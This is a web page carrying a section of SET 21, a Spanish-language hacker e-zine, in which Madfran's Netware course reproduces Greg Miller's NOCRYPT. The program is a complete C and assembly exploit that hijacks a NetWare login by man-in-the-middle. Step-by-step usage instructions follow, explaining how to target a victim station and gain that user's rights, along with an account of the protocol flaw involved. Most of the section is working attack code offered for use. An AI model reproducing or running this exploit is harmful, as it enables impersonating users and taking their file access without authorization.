TOP
AutoresTOTAL
LecturasSET 21
146496 visitas
- Contenidos - SET Staff
- Editorial - Editor
- Noticias - SET Staff
- Bazar de SET - Varios Autores
- Como crackear Hexworkshop 1.0 (bazar) - Dark Angel
- Hackeando Screenlock (bazar) - 221bo"sKt
- Walker - Compuserve 3.0 Password Decrypter (bazar) - m0f0
- Tarjeta Universal UNI2 (bazar) - GND
- Cazando Fantasmas (Caller-ID Cutre) (bazar) - Maikel
- Revision del emu de TPT de JM Garcia (bazar) - +NetBuL
- Denial Of Service: Buffer Overflows Remotos (bazar) - Obocaman
- BookMarks - SET Staff
- En El Quiosco Virtual - SET Staff
- En linea con... ArMaND VanHell - GND
- Del PGP al Foton. Presente y Futuro - SiuL+Hacky
- Curso de Novell Netware Aps III & IV - Madfran
- Proyectos, peticiones, avisos - SET Staff
- ASM y Buffer Overflows - Doing
- The Bugs Top 10 - Falken
- UNDERCON III: El Hack Hispano se reune - GND
- SET Inbox - Paseante
- TEMPEST: Como nos vigilan? - Krip7ik
- SIMO 99: Que hay de nuevo? - SET Staff
- El Ultimo paquete - Paseante
- Terminales Graficas - FCA00000
- La Biblioteca del Hacker - SET Staff
- Crackeando L0pthcrack 2.0 - Madfran
- Jakin para anormales - Jnzero
- Real como la vida misma: Detenido! - SET Staff
- Fuentes Extract - SET Staff
- Llaves PGP - SET Staff
Curso de Novell Netware Aps III & IV
Autor: Madfran
-[ 0x06 ]-------------------------------------------------------------------- -[ Curso de Novell Netware Aps III & IV ]------------------------------------ -[ by Madfran ]-------------------------------------------------------SET-21- Apendice Tres - Codigos fuente y otras documentaciones ------------------------------------------------------ A-03. Codigo Fuente de NOCRYPT ------------------------------ Los comentarios de Greg se encuentran en el mismo fichero, pero mirad el apendice A-04 para mas informacion (Traduccion madfran) --------------------------------------------------------------------------- /*Este programa fue escrito en Septiembre de 1996 por Greg Miller */ /*NOCRYPT.C Este programa permite a un atacante hacerse pasar por un usuario sin conocer su password. Para mas informacion en como utilizarlo, consulta NOCRYPT.DOC Para mas informacion de como funciona el ataque, consulta ATTACK.DOC */ /*(C) 1996 by Greg Miller*/ /*Libre distribucion*/ #include <stdio.h> #include <string.h> #define TRUE -1 #define FALSE 0 #define PACKET_TYPE 19 #define FUNCTION_CODE 50 #define SUBFUNC_CODE 53 #define KEY_OFFSET 54 typedef unsigned char BYTE; typedef unsigned int WORD; typedef unsigned long DWORD; BYTE username[20] = "GUEST"; //usuario victima BYTE membername[20] = "GMILLER"; //derechos a conseguir BYTE server_network[4] = {0,0,0,15}; //server INTERNAL net BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05}; //direccion del router //mas cercano BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe}; //0000 no funcionara BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83}; //mi direccion BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; //direccion a atacar BYTE my_seq_no = 1; BYTE my_con_no; BYTE login_key[8]; int DataRemaining = TRUE; int x; BYTE packet[2000]; BYTE SendPacket[2000]; BYTE to_server[100]; WORD handle; int packet_received = FALSE; int NotDone = TRUE; int c; WORD pktlen; WORD Sendpktlen; WORD to_server_len; void Initialize(){ } static void far PacketReceived(){ /*El driver, llama a esta funcion, cuando se recibe un paquete Si AX=0, se le pide al driver un buffer para colocar alli el paquete. Si AX=1 se copia el paquete en el buffer. */ _asm{ pop di //Por alguna razon Borland C 3.1 enpuja DI. //Quita esta linea si tu compilador no lo hace. cmp ax,1 //ax=0 para tomar un buffer o 1 cuando exista jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //longitud del buffer retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*Esta funcion registra el "protocol stack" con el driver. Le damos la direccion de la funcion a llamar cuando el paquete se recibe en ES:DI, la clase de interface en AL, y el tipo de interface en BX. DS:SI deberia apuntar al tipo de paquete a recibir, con la longitud en CX, sin embargo, si recibimos cualquier tipo de paquete dejaremos DS:SI y haremos CX=0. Tomaremos un "handle" mediante una llamada INT 60h en AX, y lo guardaremos para usos posteriores. */ _asm { pusha mov bx,0ffffh //Comodin para cualquier interface mov dl,0 mov cx,0 //recibimos cualquier tipo de paquete mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //tipo de clase para 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface */ /*Release Type*/ _asm{ pusha mov ah,3 mov bx,handle int 60h jc err } /*Terminate driver for handle*/ _asm{ mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void SetReceiveMode(WORD mode){ /*Esta funcion pone la tarjeta en el modo adecuado, poniendo el modo de recepcion en CX y el manejador en BX, El modo 6 es promiscuo y el 2 es normal. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,mode int 60h jc err popa } printf("Mode set to %d\r\n",mode); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } // printf("Sending:\r\n"); // for(c=0;c<pktlen;c++){printhex(packet[c]);} // printf("\r\n"); return; err: printf("Error sending packet: %d\r\n",_DH); _asm{popa} } void SendEncryptionKeyReply(){ memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr //Put 802.3 length here. SendPacket[12]=00; SendPacket[13]=0x2e; memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum SendPacket[16]=0;SendPacket[17]=0x2e; //IPX Length SendPacket[18]=1; //Hop Count SendPacket[19]=17; //Packet type = NCP SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type memcpy(SendPacket+46,packet+46,4); //Seq num,con num,task,con num hi SendPacket[50]=0; //Completion code SendPacket[51]=0; //Connection Status memcpy(SendPacket+52,login_key,8); //Key Sendpktlen = 60; // printf("Spoofing Encryption Key Reply\r\n"); SendPack(); } void WaitForPacket(){ while(!packet_received){ } // for(c=0;c<pktlen;c++){printhex(packet[c]);} // printf("\r\n"); packet_received=FALSE; } void WaitForStationLoginRequest(){ /*Discard first GetLoginKey()*/ while(NotDone){ WaitForPacket(); if((memcmp(packet+6,SpoofStation,6)==0) && (packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==23)){ NotDone = FALSE; } } WaitForPacket(); /*Espera una peticion de llave de login y la falsifica */ NotDone=TRUE; while(NotDone){ WaitForPacket(); if((memcmp(packet+6,SpoofStation,6)==0) && (packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==23)){ NotDone = FALSE; } } SendEncryptionKeyReply(); /*Espera una peticion de login y lanza ell hash */ NotDone = TRUE; while(NotDone){ WaitForPacket(); if((memcmp(packet+6,SpoofStation,6)==0) && (packet[PACKET_TYPE]==17) && (packet[FUNCTION_CODE]==23) && (packet[SUBFUNC_CODE]==24)){ NotDone = FALSE; } } memcpy(login_key,packet+KEY_OFFSET,8); printf("Hash Received\r\n"); for(c=0;c<8;c++){printhex(login_key[c]);} printf("\r\n"); } void SendToServer(){ _asm{ pusha mov ax,seg to_server mov ds,ax lea si,to_server mov cx,to_server_len mov ah,04 int 60h jc err popa } // printf("Sending:\r\n"); // for(c=0;c<to_server_len;c++){printhex(to_server[c]);} // printf("\r\n"); return; err: printf("Error sending packet: %d\r\n",_DH); _asm{popa} printf("Sending packet\r\n"); } void InitializePacket(){ memcpy(to_server,server_addr,6);//803.3 dest memcpy(to_server+6,my_addr,6); //802.3 source //802.3 length to_server[14] = 0xff; to_server[15]= 0xff; //ipx length to_server[18] = 0; //hop count to_server[19] = 17; //packet type memcpy(to_server+20,server_network,4); to_server[24] = 0; to_server[25] = 0; to_server[26] = 0; to_server[27] = 0; to_server[28] = 0; to_server[29] = 1; to_server[30] = 0x04; to_server[31] = 0x51; memcpy(to_server+32,my_network,4); memcpy(to_server+36,my_addr,6); to_server[42]=0x40; to_server[43]=0x05; } void AttachToServer(){ to_server[44] = 0x11; to_server[45]= 0x11; //request type to_server[46] = 0; //sequence no. to_server[47] = 0xff; //connection no. to_server[12]=0; to_server[13]=38; //802.3 length to_server[16]=0; to_server[17]=37; //ipx length to_server_len=48; SendToServer(); } int GetConNumber(){ while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==0))){} if(packet[51]==0){ my_con_no=packet[47]; printf("Connected on con %d\r\n",my_con_no); } else { printf("Error connecting %d\r\n",packet[51]); } return -1; } void RequestLoginKey(){ to_server[12]=0; to_server[13]=40; //802.3 len to_server[16]=0; to_server[17]=40; //IPX len to_server[44]=0x22; to_server[45]=0x22; //request type; to_server[46]=my_seq_no; //sequence no. to_server[47]=my_con_no; //connection no. to_server[48]=1; //tast no. to_server[49]=0; //conn no high to_server[50]=23; //func code to_server[51]=0; to_server[52]=1; //subfunc len to_server[53]=23; //subfunc code to_server_len=54; SendToServer(); } int GetLoginKey(){ int x; while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){} if(packet[50]==0){ memcpy(login_key,packet+52,8); printf("Retreived login key"); for(x=0;x<8;x++){printf(" %d",login_key[x]);} printf("\r\n"); } else { printf("Error getting login key %d\r\n",packet[50]); } my_seq_no++; return -1; } /*----------------------------- void WaitForLoginRequest(){ while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) && (packet[45]==0x22) && (packet[50]==23) && (packet[53]==23))){} } ------------------------------- void SpoofKeyReply(){ memcpy(send_packet,packet+6,6); memcpy(send_packet+6,packet,6); send_packet[12]=0; send_packet[13]=46; send_packet[14]=0xFF; send_packet[15]=0xFF; send_packet[16]=0; send_packet[17]=46; send_packet[18]=0; send_packet[19]=17; memcpy(send_packet+20,packet+31,12); memcpy(send_packet+32,packet+19,12); send_packet[44]=0x33; send_packet[45]=0x33; memcpy(send_packet+46,packet+46,4); send_packet[50]=0; send_packet[51]=0; memcpy(send_packet+52,login_key,8); SendPacket(); } ------------------------------- void WaitForKeyedLoginRequest(){ int x; while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) && (packet[45]==0x22) && (packet[50]==23) && (packet[53]==24))){} memcpy(login_key,packet+54,8); printf("Got spoofed login key reply:"); for(x=0;x<7,x++) printf(" %d",login_key[x]); printf("\r\n"); } -------------------------------*/ void RequestKeyedLogin(){ BYTE objlen; objlen=strlen(membername); to_server[12]=0; to_server[13]=51+objlen; //802.3 len to_server[16]=0; to_server[17]=51+objlen; //ipx len to_server[44]=0x22; to_server[45]=0x22; //request type; to_server[46]=my_seq_no; //sequence no. to_server[47]=my_con_no; //connection no. to_server[48]=1; //tast no. to_server[49]=0; //conn no high to_server[50]=23; //func code to_server[51]=0; to_server[52]=12+objlen; //subfunc len to_server[53]=24; //subfunc code memcpy(to_server+54,login_key,8); //login key to_server[62]=0; to_server[63]=1; //object type to_server[64]=objlen; //object length memcpy(to_server+65,membername,objlen); //object name to_server_len=65+objlen; SendToServer(); } int GetKeyedLoginResults(){ while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){} if(packet[50]==0){ memcpy(login_key,packet+52,8); printf("Logged in\r\n"); } else { printf("Error logging in %d\r\n",packet[50]); } my_seq_no++; return -1; } void GrantRights(){ BYTE objlen; BYTE memlen; objlen = strlen(username); memlen = strlen(membername); to_server[16]=0; to_server[17]=62+objlen+memlen;//IPX_len to_server[12]=0; to_server[13]=to_server[17]; //802.3 len to_server[44]=0x22;to_server[45]=0x22; //Request type to_server[46]=my_seq_no; //Sequence No. to_server[47]=my_con_no; //connection no. to_server[48]=1; //Task no. to_server[49]=0; //conn no. high to_server[50]=23; //func code to_server[51]=0; to_server[52]=23+objlen+memlen;//subfun len to_server[53]=65; //subfun code to_server[54]=00; to_server[55]=1; //Object type to_server[56]=objlen; //object len memcpy(to_server+57,username,objlen); //object name to_server[57+objlen]=15; //property len memcpy(to_server+58+objlen,"SECURITY_EQUALS",15);//propertly name to_server[73+objlen]=0; to_server[74+objlen]=1; //member type to_server[75+objlen]=memlen; //member length memcpy(to_server+76+objlen,membername,memlen); //member name printf("sublen %d\r\n",to_server[51]); to_server_len=80+objlen+memlen; for(x=0;x<100;x++) SendToServer(); } void main(){ Initialize(); RegisterWithPKTDRV(); InitializePacket(); AttachToServer(); GetConNumber(); RequestLoginKey(); GetLoginKey(); SetReceiveMode(6); //Promiscuous mode WaitForStationLoginRequest(); SetReceiveMode(2); //Normal mode RequestKeyedLogin(); GetKeyedLoginResults(); GrantRights(); RelinquishProtocolStack(); } Apendice Cuatro - Codigos fuente y otras documentaciones -------------------------------------------------------- A-04. Documentacion para NOCRYPT y NOPAS. Explicacion del ataque (Traduccion madfran) --------------------------------------------------------------------------- NOCRYPT.DOC Greg Miller El programa nocrypt.c utiliza un ataque tipo MITM (hombre en medio) para suplantar la sesion login de un usuario (ver attack.doc para detalles de este tipo de ataques). El programa debe lanzarse justo antes de que la victima intente hacer su login. Cuando se lanza, el programa espera hasta que la victima hace login, roba la sesion, y consigue para el atacante los mismos derechos de que dispone la victima. Antes de compilar el programa es necesario dar valor a las siguientes variables en el programa : - La direccion de la estacion que deseas atacar. - La direccion desde donde realizas el ataque. - La direccion del router mas cercano. - El nombre de la cuenta que quieres atacar. - El nombre de la cuenta que va a conseguir los nuevos derechos. - La direccion interna del server donde se quiere hacer la conexion. (Puede que alguien desee modificar el programa para evitar que se tengan que introducir todos estos valores a mano) NOTA : Con todas las direcciones tienes que especificar la direccion especifica del server y no solo su direccion MAC. Despues de introducir los valores adecuados, compila el programa. El programa puede compilarse con Borland C++ 3.1. Sin embargo, tambien puede utilizarse cualquier compilador de C capaz de crear un ejecutable en DOS y que permita la inclusion de comandos ASM en la forma _asc { ... }. Si tu compilador no soporta este tipo de sintaxis, deberas editar todos los bloques tipo _asm{ ... } al formato que necesites. La etapa final antes de lanzar el programa es instalar un driver de paquetes en INT 0x60. La mayor parte de las tarjetas de red vienen con un driver de paquetes en el disco de instalacion. Si no dispones del disco de instalacion o si este no tiene dichos drivers, buscalo en la red en las webs de fabricantes de tarjetas. Normalmente, deberias de especificar que interrupcion usa el driver, si es asi, utiliza 0x60. La notacion de 0x60 es hexadecimal, si tu driver no permite el uso de numeros hexadecimales, utiliza 96 (sin el prefijo 0x) Justo antes de que tu victima intente hacer login, lanza el programa. Si lo has configurado todo bien, robaras la sesion, el usuario que deseas tendra los derechos de la victima y el programa terminara automaticamente. Ahora, puedes reseater tu maquina, conectate como el atacante y tendras acceso a todos los archivos de la victima. Algo a tener en cuenta es que si la victima no es el supervisor, pero tiene derechos equivalentes al supervisor tu no habras heredado los derechos del supervisor cuando heredes los derechos de la victima. Sin embargo, nocrypt.c puede modificarse para adquirir los derechos de supervisor en este caso, pero no es el caso de la version actual. El ataque solo funciona si el nivel de firma de paquetes no esta al nivel 3 en el servidor. El nivel de firma de paquetes en la estacion de trabajo, no tiene importancia. Debido a que el nivel por defecto para este parametro es 2, los administradores tienen que modificarlo a traves del archivo autoexec.ncf y cambiarlo cada vez que se arranque el server. No me envies preguntas acerca de este programa directamente a mi. Mejor lo envias a algun foro de seguridad de Netware del tipo comp.os.netware.security, o la lista de NetWare Hack nw-hack@bebr.cba.ufl.edu. --------------------------------------------------------------------------- Una explicacion de NOPASS.EXE Greg Miller September 26, 1996 El protocolo de login de Netware consiste en tres paquetes intercambiados entre el server y el cliente. - El cliente envia una peticion de una llave de login. - El server genera una llave de ocho bytes y la envia al cliente. - El cliente envia una peticion para la ID de usuario. - El server mira en el bindery si existe la ID del usuario y la envia. - Finalmente el cliente calcula X=hash(UID,password) Y=hash(UID,password) y la envia al server. - El server busca el valor X'=hash(UID,password) almacenado en el bindery y calcula Y'=hash(X', llave login). Si Y=Y', el cliente es autorizado a entrar como usuario. Si cliente y usuario pueden utilizar paquetes firmados, ambos calculan Z=hash(X,c) (Donde c es un valor constante) que despues utilizaran como llave secreta como autentificacion El esquema siguiente da una idea grafica del protocolo. Cliente Server Peticion de llave de login ----------------------------------------> <------------------------------------------------ Llave de login Peticion de ID de usuario ---------------------------------------> <------------------------------------------------ UID de cliente Calculo X=hash(UID,password) Calculo X'=hash(UID,password) Calculo Y=hash(X,login key) Calculo Y'=hash(X,login key) Peticion de Autentificacion -------------------------------------------> If Y=Y', Access is Granted Calculo Z=hash(X,c) Calculo Z=hash(X,c) Cuando Alicia hace login, el atacante Bob puede interrumpir la secuencia y conseguir el acceso como Alicia sin conocer su password. Para que esto funcione, Debe estar situado en un punto desde donde pueda ver el trafico entre Alicia y el server y Bob debe ser capaz de responder al server antes que Alicia. Secuencia del ataque : - Primero Bob envia al server una peticion de login. - El server envia a Bob una llave de login R". - Alicia envia al server una peticion de login. - Bob captura la peticion envia a Alicia el valor R" como si fuera el server. - El server recibe la peticion de Alicia y le envia una R. - Alicia recibe R y la descarta como duplicada. - Alicia pide al server su UID. - El server se la envia. - Alicia calcula X=hash(UID,password) and Y=hash(X,R") y la envia al server. - El server calcula Y'=hash(X,), como Y' es distinto a Y, el server rechaza a Alicia. - Mientras tanto, Bob ve el valor Y que Alicia ha enviado al server. - Envia este valor al server. - El server calcula el Y"=hash(X,R"), ve que Y=Y" y da acceso a Bob como si fuera Alicia. Bob pide que no se firmen los paquetes, si el server no lo exige a todos los clientes, Bob consigue introducirse como Alicia. Alicia Bob Server Peticion de llave login R" ----> <----Envia R" a Bob Peticion de llave login R ---------------------------------> <---- Envia R" a Alicia <----------------------------------- Envia R a Alicia Receve R" primero Rechaza R como duplicado Peticion UID para Alicia -----------------------------------> <----------------------------------- Envia UID a Alicia Calcula X=hash(UID,password) Calcula Y=hash(X,R") Envia Y al server -----------------------------------> Calcula Y'=hash(X,R) Mira Y y lo guarda. Y != Y', acceso denegado Envia Y para ---> Calcula autentificarse Y"=hash(X,R") Y"=Y, acceso permitido Rechaza la firma de paquetes Si todos los clientes no REQUIREN los paquetes firmados el acceso es posible. Puede existir un segundo atacante, Joe, esperando a que Alicia se conecte sin firma de paquetes. Como resultado, Joe puede robar la conexion de Bob como si fuera Alicia. Madfran *EOF*